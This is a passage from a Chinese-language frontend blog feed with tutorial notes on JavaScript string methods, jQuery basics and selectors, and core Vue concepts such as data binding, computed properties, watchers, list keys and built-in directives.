operator">=</span> <span class="token keyword">new</span> <span class="token class-name">String</span><span class="token punctuation">(</span><span class="token string">'andy'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 2. 赋值给我们声明的字符变量</span>str <span class="token operator">=</span> temp<span class="token punctuation">;</span><span class="token comment">// 3. 销毁临时变量</span>temp <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span></code></pre><h5 id="字符串的不可变">字符串的不可变</h5><p>指的是里面的值不可变，虽然看上去可以改变内容，但其实是地址变了，内存中新开辟了一个内存空间。</p><p>当重新给字符串变量赋值的时候，变量之前保存的字符串不会被修改，依然在内存中重新给字符串赋值，会重新在内存中开辟空间，这个特点就是字符串的不可变。<br>由于字符串的不可变，在<strong>大量拼接字符串</strong>的时候会有效率问题</p><h5 id="根据字符返回位置">根据字符返回位置</h5><p>字符串通过基本包装类型可以调用部分方法来操作字符串，以下是返回指定字符的位置的方法：</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/19.png" alt=""></p><p>​案例：查找字符串&quot;abcoefoxyozzopp&quot;中所有o出现的位置以及次数</p><ol><li>先查找第一个o出现的位置</li><li>然后 只要indexOf 返回的结果不是 -1 就继续往后查找</li><li>因为indexOf 只能查找到第一个，所以后面的查找，利用第二个参数，当前索引加1，从而继续查找</li></ol><h5 id="根据位置返回字符">根据位置返回字符</h5><p>字符串通过基本包装类型可以调用部分方法来操作字符串，以下是根据位置返回指定位置上的字符：</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/20.png" alt=""></p><p>在上述方法中，charCodeAt方法返回的是指定位置上字符对应的ASCII码。</p><p>案例：判断一个字符串 ‘abcoefoxyozzopp’ 中出现次数最多的字符，并统计其次数</p><ol><li><p>核心算法：利用 charAt(） 遍历这个字符串</p></li><li><p>把每个字符都存储给对象， 如果对象没有该属性，就为1，如果存在了就 +1</p></li><li><p>遍历对象，得到最大值和该字符</p><p>注意：在遍历的过程中，把字符串中的每个字符作为对象的属性存储在对象总，对应的属性值是该字符出现的次数</p></li></ol><h5 id="字符串操作方法">字符串操作方法</h5><p>字符串通过基本包装类型可以调用部分方法来操作字符串，以下是部分操作方法：</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/21.png" alt=""></p><h5 id="replace-方法">replace()方法</h5><p>replace() 方法用于在字符串中用一些字符替换另一些字符，其使用格式如下：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">字符串<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span>被替换的字符串， 要替换为的字符串<span class="token punctuation">)</span>；</code></pre><h5 id="split-方法">split()方法</h5><p>​split()方法用于切分字符串，它可以将字符串切分为数组。在切分完毕之后，返回的是一个新数组。</p><p>​其使用格式如下：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">字符串<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">"分割字符"</span><span class="token punctuation">)</span></code></pre><h2 id="jQuery">jQuery</h2><h3 id="JavaScript-库">JavaScript 库</h3><p>​JavaScript库：即 library，是一个封装好的特定的集合（方法和函数）。从封装一大堆函数的角度理解库，就是在这个库中，封装了很多预先定义好的函数在里面，比如动画animate、hide、show，比如获取元素等。</p><blockquote><p>简单理解： 就是一个JS 文件，里面对我们原生js代码进行了封装，存放到里面。这样我们可以快速高效的使用这些封装好的功能了。</p><p>比如 jQuery，就是为了快速方便的操作DOM，里面基本都是函数（方法）。</p></blockquote><p>​常见的JavaScript 库：jQuery、Prototype、YUI、Dojo、Ext JS、移动端的zepto等，这些库都是对原生 JavaScript 的封装，内部都是用 JavaScript 实现的，我们主要学习的是 jQuery。</p><h3 id="jQuery的概念">jQuery的概念</h3><p>​jQuery总体概况如下 :</p><ul><li><p>jQuery 是一个快速、简洁的 JavaScript 库，其设计的宗旨是“write Less，Do More”，即倡导写更少的代码，做更多的事情。</p></li><li><p>j 就是 JavaScript；   Query 查询； 意思就是查询js，把js中的DOM操作做了封装，我们可以快速的查询使用里面的功能。</p></li><li><p>jQuery 封装了 JavaScript 常用的功能代码，优化了 DOM 操作、事件处理、动画设计和 Ajax 交互。</p></li><li><p>学习jQuery本质： 就是学习调用这些函数（方法）。</p></li><li><p>jQuery 出现的目的是加快前端人员的开发速度，我们可以非常方便的调用和使用它，从而提高开发效率。</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/22.png" alt="jQuery概述"></p></li></ul><h3 id="体验jQuery">体验jQuery</h3><p>​步骤：</p><ul><li>引入jQuery文件。</li><li>在文档最末尾插入 script 标签，书写体验代码。</li><li>$(‘div’).hide() 可以隐藏盒子。</li></ul><h3 id="jQuery的入口函数">jQuery的入口函数</h3><p>​jQuery中常见的两种入口函数：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 第一种: 简单易用。</span><span class="token function">$</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>       <span class="token operator">...</span>  <span class="token comment">// 此处是页面 DOM 加载完成的入口</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token comment">// 第二种: 繁琐，但是也可以实现</span><span class="token function">$</span><span class="token punctuation">(</span>document<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">ready</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>   <span class="token operator">...</span>  <span class="token comment">//  此处是页面DOM加载完成的入口</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>​总结：</p><ol><li>等着 DOM 结构渲染完毕即可执行内部代码，不必等到所有外部资源加载完成，jQuery 帮我们完成了封装。</li><li>相当于原生 js 中的 DOMContentLoaded。</li><li>不同于原生 js 中的 load 事件是等页面文档、外部的 js 文件、css文件、图片加载完毕才执行内部代码。</li><li>更推荐使用第一种方式。</li></ol><h3 id="jQuery中的顶级对象">jQuery中的顶级对象$</h3><ol><li>$是 jQuery 的别称，在代码中可以使用 jQuery 代替，但一般为了方便，通常都直接使用 $ 。</li><li>$是jQuery的顶级对象，相当于原生JavaScript中的 window。把元素利用$包装成jQuery对象，就可以调用jQuery 的方法。</li></ol><h3 id="jQuery-对象和-DOM-对象">jQuery 对象和 DOM 对象</h3><p>​使用 jQuery 方法和原生JS获取的元素是不一样的，总结如下 :</p><ol><li>用原生 JS 获取来的对象就是 DOM 对象</li><li>jQuery 方法获取的元素就是 jQuery 对象。</li><li>jQuery 对象本质是： 利用$对DOM 对象包装后产生的对象（伪数组形式存储）。</li></ol><blockquote><p>注意：</p><p>只有 jQuery 对象才能使用 jQuery 方法，DOM 对象则使用原生的 JavaScirpt 方法。</p></blockquote><p><img src="https://img.alexation.cn/blog/post/javascript/basic/23.png" alt="jQuery对象和DOM对象"></p><h3 id="jQuery-对象和-DOM-对象转换">jQuery 对象和 DOM 对象转换</h3><p>​DOM 对象与 jQuery 对象之间是可以相互转换的。因为原生js 比 jQuery 更大，原生的一些属性和方法 jQuery没有给我们封装. 要想使用这些属性和方法需要把jQuery对象转换为DOM对象才能使用。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 1.DOM对象转换成jQuery对象，方法只有一种</span><span class="token keyword">var</span> box <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">'box'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 获取DOM对象</span><span class="token keyword">var</span> jQueryObject <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span>box<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 把DOM对象转换为 jQuery 对象</span><span class="token comment">// 2.jQuery 对象转换为 DOM 对象有两种方法：</span><span class="token comment">//   2.1 jQuery对象[索引值]</span><span class="token keyword">var</span> domObject1 <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">'div'</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token comment">//   2.2 jQuery对象.get(索引值)</span><span class="token keyword">var</span> domObject2 <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">'div'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span></code></pre><p>总结：实际开发比较常用的是把DOM对象转换为jQuery对象，这样能够调用功能更加强大的jQuery中的方法。</p><h2 id="jQuery-选择器">jQuery 选择器</h2><p>​原生 JS 获取元素方式很多，很杂，而且兼容性情况不一致，因此 jQuery 给我们做了封装，使获取元素统一标准。</p><h3 id="基础选择器">基础选择器</h3><p>$(“选择器”)   //  里面选择器直接写 CSS 选择器即可，但是要加引号</p><p>​<img src="https://img.alexation.cn/blog/post/javascript/basic/24.png" alt="基础选择器"></p><h3 id="层级选择器">层级选择器</h3><p>​层级选择器最常用的两个分别为：后代选择器和子代选择器。</p><p>​<img src="https://img.alexation.cn/blog/post/javascript/basic/25.png" alt="层级选择器"></p><p><strong>基础选择器和层级选择器案例代码</strong></p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span>我是div<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>我是nav div<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>我是p<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>ul</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>我是ul 的<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>我是ul 的<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>                <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>我是ul 的<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>ul</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">        <span class="token function">$</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">".nav"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"ul li"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span></code></pre><h3 id="筛选选择器">筛选选择器</h3><p>​筛选选择器，顾名思义就是在所有的选项中选择满足条件的进行筛选选择。常见如下 :</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/26.png" alt="筛选选择器"></p><p><strong>案例代码</strong></p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>ul</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>多个里面筛选几个<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>多个里面筛选几个<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>多个里面筛选几个<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>多个里面筛选几个<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>多个里面筛选几个<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>多个里面筛选几个<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>ul</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>ol</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>多个里面筛选几个<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>多个里面筛选几个<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>多个里面筛选几个<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>多个里面筛选几个<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>多个里面筛选几个<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>多个里面筛选几个<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>ol</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">        <span class="token function">$</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"ul li:first"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">css</span><span class="token punctuation">(</span><span class="token string">"color"</span><span class="token punctuation">,</span> <span class="token string">"red"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"ul li:eq(2)"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">css</span><span class="token punctuation">(</span><span class="token string">"color"</span><span class="token punctuation">,</span> <span class="token string">"blue"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"ol li:odd"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">css</span><span class="token punctuation">(</span><span class="token string">"color"</span><span class="token punctuation">,</span> <span class="token string">"skyblue"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"ol li:even"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">css</span><span class="token punctuation">(</span><span class="token string">"color"</span><span class="token punctuation">,</span> <span class="token string">"pink"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span></code></pre><p>另:  jQuery中还有一些筛选方法，类似DOM中的通过一个节点找另外一个节点，父、子、兄以外有所加强。</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/27.png" alt="筛选方法"></p>]]></content>
    
    
    <summary type="html">简单介绍JavaScript</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.alexation.cn/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.alexation.cn/tags/JavaScript/"/>
    
    <category term="jQuery" scheme="https://blog.alexation.cn/tags/jQuery/"/>
    
  </entry>
  
  <entry>
    <title>Vue</title>
    <link href="https://blog.alexation.cn/frontend/vue/"/>
    <id>https://blog.alexation.cn/frontend/vue/</id>
    <published>2022-01-08T11:05:30.000Z</published>
    <updated>2025-11-23T06:29:56.905Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">Vue</h1><p>Vue一套用于构建用户界面的<strong>渐进式</strong>JavaScript框架（Vue可以自底向上逐层的应用）</p><h3 id="Vue核心">Vue核心</h3><h4 id="Vue的特点">Vue的特点</h4><ul><li>采用<strong>组件化</strong>模式，提高代码复用率，让代码更好维护</li><li>声明式编码，让编码人员无需直接操作DOM，提高开发效率</li><li>使用虚拟DOM+优秀的Diff算法，尽量复用DOM节点</li></ul><h4 id="初识Vue">初识Vue</h4><ol><li>想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象</li><li>root容器里的代码依然复合html规范，只不过混入了一些Vue语法</li><li>root容器里的代码被称为Vue模板</li><li>注意区分js表达式和js语句，表达式：会生成一个值，可以放在任何一个需要值的地方</li></ol><h4 id="模板语法">模板语法</h4><p>插值语法：</p><ul><li>功能：用于解析标签内容</li><li>写法：</li></ul><p>指令语法：</p><ul><li>功能：用于解析标签（包括：标签属性、标签体内容、绑定事件）</li><li>举例：v-bind:href=&quot;xxx&quot;或者直接默哀好</li></ul><h4 id="数据绑定">数据绑定</h4><p>单向数据绑定：v-bind</p><p>双向数据绑定：v-model（表单类元素）value可以简写成v-model，因为v-model默认收集的就是value值</p><h4 id="el和data的两种写法">_el和data的两种写法</h4><table><thead><tr><th style="text-align:center">el</th><th style="text-align:center">data</th></tr></thead><tbody><tr><td style="text-align:center">new Vue时候配置el属性</td><td style="text-align:center">对象式</td></tr><tr><td style="text-align:center">先创建Vue实例，随后再通过vm.$mount(‘#root’)指定el的值</td><td style="text-align:center">函数式</td></tr></tbody></table><p><em><strong>由Vue管理的函数，一定不要写箭头函数</strong></em></p><h4 id="MVVM模型">_MVVM模型</h4><ol><li>M：模型（Model）：data中的数据</li><li>V ：视图（View)：模板代码</li><li>VM：视图模型（ViewModel)：Vue实例</li><li>data中的所有属性，最后都出现在了vm身上</li><li>vm身上所有的属性 及vue原型上所有属性，在vue模板中都可以直接使用</li></ol><h4 id="数据代理">数据代理</h4><p>Object.defineProperty\get()\set()</p><p>通过一个对象代理对另一个对象中属性的操作</p><h4 id="事件绑定">事件绑定</h4><ol><li>使用v-on：xxx或者@xxx绑定事件，其中xxx是事件名</li><li>事件的回调需要配置在methods对象汇总，最终会在vm上</li><li>methods中配置的函数，不要用箭头函数！否则this就不是vm了</li><li>methods中配置的函数，都是被vue所管理的函数，this的指向是vm或组件实例对象</li><li>@click=“demo”和@click=“demo($event)&quot;效果一致，但后者可以传参：</li></ol><p>vue中常用的按键别名：</p><ul><li>回车：enter</li><li>删除：delete（捕获删除和退格</li><li>退出：esc</li><li>空格：space</li><li>换行：tab</li></ul><p>vue未提供别名的按键，可以使用按键原实的key去绑定，但注意要转为kebab-case（短横线命名）</p><p>系统修饰键（用法特殊）：ctrl、alt、shift、meta</p><ul><li>配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才触发</li><li>配合keydown使用：正常触发事件</li></ul><p>也可以keycode去指定具体的按键（不推荐</p><p>vue.config.keyCodes.自定义键名  = 键码，可以去定制按键别名</p><h4 id="计算属性">计算属性</h4><ol><li><p>定义：要用的属性不存在，要通过已有的属性计算得来</p></li><li><p>原理：底层借助了Object.defineproperty方法提供的getter和setter</p><p>get什么时候调用？</p><ul><li>初次读取时、所依赖的数据发生变化时</li></ul><p>set什么时候调用？</p><ul><li>当值被修改时l</li></ul></li><li><p>优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便</p></li><li><p>备注：</p><p>计算属性最终会出现在vm上，直接读取使用即可</p><p>如果计算属性要被修改，那必须写set函数去相应修改，且set中要引起计算时依赖的数据发生。</p></li></ol><h4 id="监视属性">监视属性</h4><ol><li><p>当监视属性变化时，回调函数自动调用，进行相关操作</p></li><li><p>监视的属性必须同时存在，才能进行监视！！@</p></li><li><p>监视的两种写法：</p><ul><li><p>new Vue时传入watch配置</p></li><li><p>通过vm.$watch监视</p></li></ul></li></ol><h5 id="深度监视">深度监视</h5><ol><li>vue中的watch默认不监测对象内部值的改变（一层）</li><li>配置deep:true可以监测对象内部值得改变（多层）</li></ol><p><strong>备注：</strong></p><ol><li>vue自身可以监测对象内部值得改变，但是vue提供得watch默认不可以！</li><li>使用watch时根据数据得具体结构，决定是否采用深度监视</li></ol><h5 id="computed和watch之间的区别">computed和watch之间的区别</h5><ul><li>computed能完成的功能，watch都可以完成</li><li>watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作</li></ul><h5 id="两个重要原则">两个重要原则</h5><ul><li>所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm或组件实例对象</li><li>所有不被Vue管理的函数（定时器的回调函数、ajax的回调函数、promise的回调函数等）最好写成箭头函数，这样this的指向才是vm或组件实例对象</li></ul><h4 id="绑定样式">绑定样式</h4><h5 id="class样式">class样式</h5><p>写法：class=“xxx” xxx可以是字符串、对象、数组</p><ul><li>字符串写法，适用于：样式的类名不确定，需要动态指定</li><li>数组写法，适用于：要绑定的样式个数不确定、名字也不确定</li><li>对象写法，适用于：要绑定的样式个数确定、名字也确定、但要动态决定用不用</li></ul><h5 id="style样式">style样式</h5><p>：style=”{fontSize:xxx}&quot;其中xxx是动态值</p><p>：style=“[a,b]&quot;其中ab是样式对象</p><h4 id="条件渲染">条件渲染</h4><p>1.v-if</p><ul><li>写法：</li><li><ul><li>v-if=&quot;“表达式”</li><li>v-else-if=“表达式”</li><li>v-else=“表达式”</li></ul></li><li>适用于：切换频率较低的场景</li><li>特点：不展示DOM元素直接被移除</li><li>注意：v-if可以和：v-else-if、v-else一起使用，但要求结构不能被打断</li></ul><p>2.v-show</p><ul><li>写法：v-show=“表达式”</li><li>适用于：切换频率较高的场景</li><li>特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉</li></ul><p>3.备注：使用v-if时，元素可能无法获取到，而是用v-show一定可以获取到</p><h4 id="列表渲染">列表渲染</h4><p>v-for指令</p><ul><li>用于展示列表数据</li><li>语法：v-for=“(item,index) in xxx” : key=“yyy”</li><li>可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）</li></ul><h4 id="key的内部原理">key的内部原理</h4><p>面试题:react、vue中的key有什么作用?(key的内部原理)</p><h5 id="1-虚拟DOM中key的作用">1.虚拟DOM中key的作用</h5><p>key是虚拟DON对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的<br>虚拟DOM】 ,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下:</p><h5 id="2-对比规则">2.对比规则</h5><p>(1).旧虚拟DOM中找到了与新虚拟DOM相同的key</p><ol><li>若虚拟DOM中内容没变,直接使用之前的真实DOM !</li><li>若虚拟DOM中内容变了，则生成新的真实DOM，随后替换掉页面中之前的真实DOM.</li></ol><p>(2).旧虚拟DOM中未找到与新虚拟DOM相同的key</p><p>创建新的真实DOM,随后渲染到到页面。</p><h5 id="3-用index作为key可能会引发的问题">3.用index作为key可能会引发的问题</h5><ol><li>若对数据进行:逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新==&gt;界面效果没问题，但效率低。</li><li>如果结构中还包含输入类的DON:会产生错误DOM更新==&gt;界面有问题。</li></ol><h5 id="4-开发中如何选择key">4.开发中如何选择key?</h5><ol><li>最好使用每条数据的唯一标识作为key，比如id、手机号、身份证号、学号等唯一值。</li><li>如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用index作为key是没有问题的。</li></ol><h4 id="Vue监视数据的原理">Vue监视数据的原理</h4><h5 id="1-vue会监视data中所有层次的数据">1.vue会监视data中所有层次的数据</h5><h5 id="2-如何监测对象中的数据">2.如何监测对象中的数据</h5><p>通过setter实现监视,且要在new Vue时就传入要监测的数据。</p><p>(1).对象中后追加的属性，Vue默认不做响应式处理</p><p>(2).如需给后添加的属性做响应式,请使用如下API</p><p>Vue.set(target.propertyName/index,value)或vm.$set(target，propertyName /index.value)</p><h5 id="3-如何监测数组中的数据">3.如何监测数组中的数据</h5><p>通过包裹数组更新元素的方法实现,本质就是做了两件事</p><p>(1).调用原生对应的方法对数组进行更新。</p><p>(2).重新解析模板,进而更新页面。</p><h5 id="4-在Vue修改数组中的某个元素一定要用如下方法">4.在Vue修改数组中的某个元素一定要用如下方法</h5><ol><li>使用这些AP:push()、pop()、shift()、unshift()、splice()、sort()、reverse()</li><li>Vue.set()或vm.$set()</li></ol><p>特别注意:Vue.set(）和vm.$set(）不能给vm或vm的根数据对象添加属性!!!</p><h4 id="收集表单数据">收集表单数据</h4><p>若&lt;input type=“text”/ &gt;， 则v-model收集的是value值，用户输入的就是value值。</p><p>若:&lt;input type=“radio”/ &gt;，则v-model收集的是value值，且要给标签配置value值。</p><p>若: &lt;input type=“checkbox” / &gt;</p><ul><li><p>1.没有配置input的value属性，那么收集的就是checked（勾选 or未勾选，是布尔值)</p></li><li><p>2.配置input的value属性:</p><p>(1)v-model的初始值是非数组，那么收集的就是checked（勾选or未勾选，是布尔值)</p><p>(2)v-model的初始值是数组，那么收集的的就是value组成的数组</p></li></ul><p><strong>备注</strong></p><p>v-model的三个修饰符:</p><ul><li>lazy:失去焦点再收集数据</li><li>number:输入字符串转为有效的数字</li><li>trim:输入首尾空格过滤</li></ul><h4 id="过滤器">过滤器</h4><p>定义:对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）</p><p>语法:</p><ol><li>注册过滤器:Vue.filter(name, callback)或new Vue{filters:{3}</li><li>使用过滤器:或v-bind:属性=“xxx│过滤器名&quot;</li></ol><p>备注:</p><ol><li>过滤器也可以接收额外参数、多个过滤器也可以串联</li><li>并没有改变原本的数据,是产生新的对应的数据</li></ol><h4 id="内置指令">内置指令</h4><p>我们学过的指令</p><ul><li><p>v-bind :单向绑定解析表达式,可简写为:xXX</p></li><li><p>v-model :双向数据绑定</p></li><li><p>v-for:遍历数组/对象/字符串</p></li><li><p>v-on:绑定事件监听,可简写为@</p></li><li><p>v-if:条件渲染（动态控制节点是否存存在)</p></li><li><p>v-else:条件渲染（动态控制节点是否存存在)</p></li><li><p>v-show:条件渲染（动态控制节点是否展示)</p></li><li><p>v-text指令:</p><p>1.作用:向其所在的节点中渲染文季内容。</p><p>2.与插值语法的区别: v-text会替换掉节点中的内容，则不会。</p></li><li><p>v-html指令:<br>1.作用:向指定节点中渲染包含html结构的内容。</p><p>2.与插值语法的区别:</p><p>(1).v-html会替换掉节点中所有的内容，则不会。</p><p>(2).v-html可以识别html结构。</p><p>3.严重注意:v-html有安全性问题!!!</p><p>(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。</p><p>(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上!</p></li><li><p>v-cloak指令(没有值):</p><p>1,本质是一个特殊属性，Vue实例创建完毕并接管容器后，会朋掉v-cloak属性。</p><p>2.使用css配合v-cloak可以解决网速慢时页面展示出的问题。</p></li><li><p>v-once指令;</p><p>1.v-oncq所在节点在初次动态渲染后,就视为静态内容了。</p><p>2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。</p></li></ul><h4 id="自定义指令">自定义指令</h4><p>需求1:定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。</p><p>需求2:定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。自定义指令总结:</p><p>一、定义语法:</p><p>(1).局部指令</p><pre class="language-markup" data-language="markup"><code class="language-markup">new Vue(&#123;directives:&#123;指令名:配置对象&#125;&#125;)或者new 